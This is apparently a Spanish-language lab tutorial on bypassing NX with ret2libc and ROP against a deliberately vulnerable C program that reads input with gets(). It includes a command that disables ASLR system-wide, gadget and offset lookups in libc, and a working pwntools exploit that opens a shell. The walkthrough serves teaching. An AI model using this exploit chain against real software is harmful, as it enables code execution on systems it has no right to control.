Bypass NX via ret2libc
Table of contents
- ¿Que es ret2libc?
- No Executable (NX)
- Un poco de Return Oriented Programming (ROP)
- Analizando el binario
- Explicando el payload que usaremos
- Desbordando el buffer y calculando el offset del RIP
- Consiguiendo la direccion de libc
- Consiguiendo los offset de RET, POP RDI RET, /bin/sh y system()
- Creando nuestro exploit y ejecutandolo
En este articulo veremos como realizar un ataque con una tecnica llamada ret2libc para hacer bypass del NX haciendo uso de ROP
¿Que es ret2libc?
Es una tecnica para ejecutar codigo en la memoria apuntando a funciones de la libreria libc, por ejemplo, cuando se hace un programa en C con las funciones system, printf, put, esas funciones se compilan en un archivo de la libreria libc, entonces tenemos que apuntar a funciones de esa libreria
¿Por que usamos ret2libc?
Esta tecnica la usamos cuando con el RIP o EIP no podemos a apuntar a una direccion arbitraria para ejecutar una shellcode, esto occurre ya que tiene el NX activado.
Como vemos al parecer esta tecnica es similar a un bof stack-based comun, pero en vez de cambiar el RIP por una direccion que apunte a nuestra shellcode, lo que estamos haciendo es que apunte a direcciones de la libreria libc, mas adelante explicare nuestro payload y el por que.
No Executable (NX)
El NX o No executable, lo que hace es marcar el stack como no ejecutable, es decir que ahora en el stack nuestras entradas no se pueden ejecutar como codigo osea una shellcode, entonces si tomamos el control del RIP no vamos a poder redirigir el flujo del programa al RSP.
Un poco de Return Oriented Programming (ROP)
¿Que es ROP?
Es una tecnica usada para utilizar pequeñas secuencias de intrucciones llamados gadgets con el fin de ejecutar operaciones arbitrarias, esto funciona ya que obtenermos el control de call stack para secuestrar el flujo del programa y luego ejecutar los gadgets
Gadgets
Son las secuencias de instrucciones que terminan con la intruccion ret, el gadget que vamos a usar es este: pop rdi; ret
Analizando el binario
Compilacion: gcc -no-pie -fno-stack-protector ret2libc.c -o ret2libc
#include<stdio.h>
#include<string.h>
void vuln();
int main(int argc, char *argv[]){
printf("Input: ");
vuln();
}
void vuln(){
char buffer[64];
gets(buffer);
}
Como vemos nuestro binario solo tiene la funcion main
que esta imprimiendo un input y llamando a la funcion vuln
y en esa funcion tenemos un buffer de 64 declarado como char buffer[64];
y para obtener los datos del input se esta usando la funcion gets
y los guarda en el buffer
, es bastante explicita la parte que es vulnerable del programa pero aun asi la explicare
El programa es vulnerable por que se esta usando la funcion gets
y esto es por que esa funcion no le importa cuantos datos le mandemos aun asi los guardara, es decir que si tenemos un buffer de 64 y a travez de la funcion gets le mandamos 100, esos 100 aun asi los guardara, de hecho podemos ver la manpage de gets con este comando man 3 gets
y bajando a la seccion de bugs nos dice algo como esto:
BUGS
Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and
because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to
break computer security. Use fgets() instead.
For more information, see CWE-242 (aka "Use of Inherently Dangerous Function") at http://cwe.mitre.org/data/definitions/242.html
Ahora con el comando checksec
vamos a ver las protecciones del binario y nos debe de salir algo asi
[*] '/home/omarh/Documentos/ExplotacionBinaria/ret2libC/ret2libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Como vemos tiene la proteccion NX activada, asi que no podemos ejecutar codigo en el stack.
Explicando el payload que usaremos
Nuestro payload es el siguiente:
|------|-----|--------------|---------|----------|
| junk | ret | pop rdi; ret | /bin/sh | system() |
|------|-----|--------------|---------|----------|
- Junk: esto es para llenar el buffer de 64 que tenemos
- ret: Direccion de ret, en otros casos esto no es necesario sin embargo esta vez lo usaremos por cuestiones de stack alignment
- pop rdi; ret, ok esto es nuestro gadget y lo usaremos ya que esto nos va a servir para meter cualquier cosa al registro
RDI
y tomando en cuenta las calling conventions el registroRDI
es el primero que se manda como argumento, lo que meteremos ardi
es la direccion de/bin/sh
que tambien va a ser lo que le pasaremos asystem
para que ejecute
Explicare mas a detalle como funciona lo de pop rdi; ret
, imaginemos que queremos usar pop rdi; ret
para ingresar a rdi
el valor de 0x10
y luego saltar a una funcion llamada funcion1
A tomar en cuenta: Cuando se sobreescribe el RET
tambien se sobreescribe el valor al que apunta RSP
Entonces ahora si empezamos, tenemos lo siguiente:
|--------------|
| junk |
|--------------|
| pop rdi; ret | --> Direccion de pop rdi; ret
|--------------|
| 0x10 | --> El valor que meteremos a rdi
|--------------|
| funcion1 |
|--------------|
Ahora sobreescribimos el RIP
por la direccion de ret
, entonces RSP
se mueve a la direccion de pop rdi; ret
, lo que pasaria seria algo com esto ret rip rsp
y nuestro layout queda asi:
|--------------| gadget
| junk | |---------|
|--------------| | ret | <---- RIP
| pop rdi; ret | --> RSP apunta aca |---------|
|--------------|
| 0x10 |
|--------------|
| funcion1 |
|--------------|
Ahora RSP
apuntara a 0x10
y nuestro RIP
ahora apunta a POP RDI
, entonces ahora si 0x10
se movera a rdi
, el layot queda asi:
|--------------| Gadget
| junk | |---------|
|--------------| RIP --> | pop rdi |
| pop rdi; ret | |---------|
|--------------| | ret |
| 0x10 | --> RSP apunta aca |---------|
|--------------|
| funcion1 |
|--------------|
Y bueno ahora RSP
pasara los siguientes elementos del stack ejecutando la funcion funcion1
y el layout queda asi
|--------------|
| junk |
|--------------|
| pop rdi; ret |
|--------------|
| 0x10 |
|--------------|
| funcion1 | --> RSP apunta aca
|--------------|
Dejemos este ejemplo de lado y ahora pasaremos a ver como queda el layout tomando en cuenta nuestro payload
layout normal layout modificado
|---------------| |--------------|
| funcion | --> | system() | --> direccion de system
|---------------| |--------------|
| parametros | --> | /bin/sh | --> direccion de /bin/sh
|---------------| |--------------|
| RET | --> | pop rdi; ret | --> direccion de pop rdi; ret
|---------------| |--------------|
| RBP | --> | ret | --> direccion de ret
|---------------| |--------------|
| buffer | --> | junk | --> caracteres para llenar el buffer
|---------------| |--------------|
| | | |
|---------------| |--------------|
Y ahora si que ya se explico esto ya podemos empezar a sacar todo lo que necesitamos
Desbordando el buffer y calculando el offset del RIP
Ya no profundizare mucho en esto ya que esta el post de BoF stack-based donde si lo hago
Para esta practica desactivaremos el ASRL con este comando:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Comenzaremos a debuggear el programa con el comando gdb -q ./ret2libc
, en mi caso usare gdb con gef, te dejo el link del repo de gef por si lo quieres instalar
https://github.com/hugsy/gef.git
Gef tiene un comando que se llama pattern create
para generar una serie de caracteres que nos ayudaran a calcular los offsets, asi que le pasaremos ese comando de esta manera pattern create 100
y nos generara 100 caracteres, ahora ejecutaremos el binario pasandole esos 100 caracteres como input, como podemos ver nuestro RSP ahora vale:
*RSP 0x7fffffffda68 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaa'
Ahora usaremos otro comando que tiene gef que se llama patter offset
para calcular el offset del RSP, ingresamos lo siguiente
patter offset jaaaaaaa
Esto nos debe de dar algo como esto
[+] Searching for 'jaaaaaaa'
[+] Found at offset 72 (little-endian search) likely
[+] Found at offset 65 (big-endian search)
Vemos como el desplazamiento para llegar al RIP es 72. Para esta practica usaremos el offset 72 que corresponde a little-endian
Consiguiendo la direccion de libc
Ahora pasaremos a conseguir la direccion de libc ya que esto nos ayudara a conseguir la direccion real de los offsets de ret, pop rdi; ret, /bin/sh y system()
Para eso podemos usar el comando info proc mappings
el cual nos mostrara todas las regiones de la memoria mapeadas
Vemos como la direccion que tengo seleccionada es la direccion del comienzo de la libreria libc y esa es la que usaremos.
Usando el comando ldd
Tambien podemos sacar la direccion de libc usando el comando ldd pasandole como argumento nuestro binario, asi que el comando queda asi ldd ret2libc
, esto nos da como resultado lo siguiente
linux-vdso.so.1 (0x00007ffff7fc4000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7c00000) --> Esta es la direccion de libc
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fc6000)
La direccion que corresponde a libc la indique con una flecha, y esa direccion es la misma que la que sacamos con el comando info proc mappings
simplemente con unos 0 demas (podemos usar la que sea de las 2).
Consiguiendo los offset de RET, POP RDI RET, /bin/sh y system()
Ahora viene la parte de sacar los offsets de RET, POP RDI RET, /bin/sh y system()
Offset de RET
Para sacar el offset de ret usare una herramienta llamada Ropper
, les dejo el gitub de su repo para que la instalen https://github.com/sashs/Ropper.git
Pondremos este comando para conseguir el offset de ret
ropper --file /usr/lib/libc.so.6 --search "ret"
Tenemos que indicar la ruta de la libreria libc la cual la podemos ver tambien cuando ingresamos el comando ldd ret2libc
y depues usamos --search
para buscar ret
y si ejecutamos nos sale algo como esto:
Debemos de selecionar el offset en el cual solo tenga la cadena ret:
, en mi caso yo seleccione esa que esta seleccionada en la imagen, entonces el offset es esto
0x0000000000102ea4
Offset de pop rdi; ret
Para sacar el offset de pop rdi; ret usamos el mismo comando solo que al final en lo que queremos buscar le cambiamos a pop rdi
y queda asi
ropper --file /usr/lib/libc.so.6 --search "pop rdi"
Esto nos imprime lo siguiente
Y de nuevo, seleccionare el que muestro ahi en pantalla, asi que el offset es:
0x0000000000029835
Offset de /bin/sh
Para sacar el offset de /bin/sh usaremos el comando strings para buscar en el archivo de libc la cadena /bin/sh
, el comando queda asi
strings -a -t x /usr/lib/libc.so.6 | grep "/bin/sh"
Esto nos da como resultado: 1bb26a /bin/sh
Offset de system()
Usare el comando readelf
para buscar por system
en el archivo de la libreria libc y el comando queda asi:
readelf -s libc.so.6 | grep system
Esto nos imprime:
1481: 000000000004ba40 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5
Donde el offset es: 000000000004ba40
Creando nuestro exploit y ejecutandolo
Ya que tenemos todos los offset solo tenemos que armar todo y el exploit queda asi
from pwn import *
p = process("./ret2libc")
libc = 0x7ffff7c00000
pop_rdi = 0x0000000000029835
bin_sh = 0x1bb26a
system = 0x000000000004ba40
ret = 0x0000000000102ea4
payload = b"A" * 72
payload += p64(libc + ret)
payload += p64(libc + pop_rdi)
payload += p64(libc + bin_sh)
payload += p64(libc + system)
p.sendline(payload)
p.interactive()
Se pueden dar cuenta que se esta sumando la direccion de libc con los offsets de pop rdi, bin/sh, system, y ret, esto es para que nos saque la direccion real, tambien usamos “p64” para transformar esas direcciones a little endian de 64 bits, ahora ejecutamos y vemos como obtuvimos una shell
Eso ha sido todo, gracias por leer ❤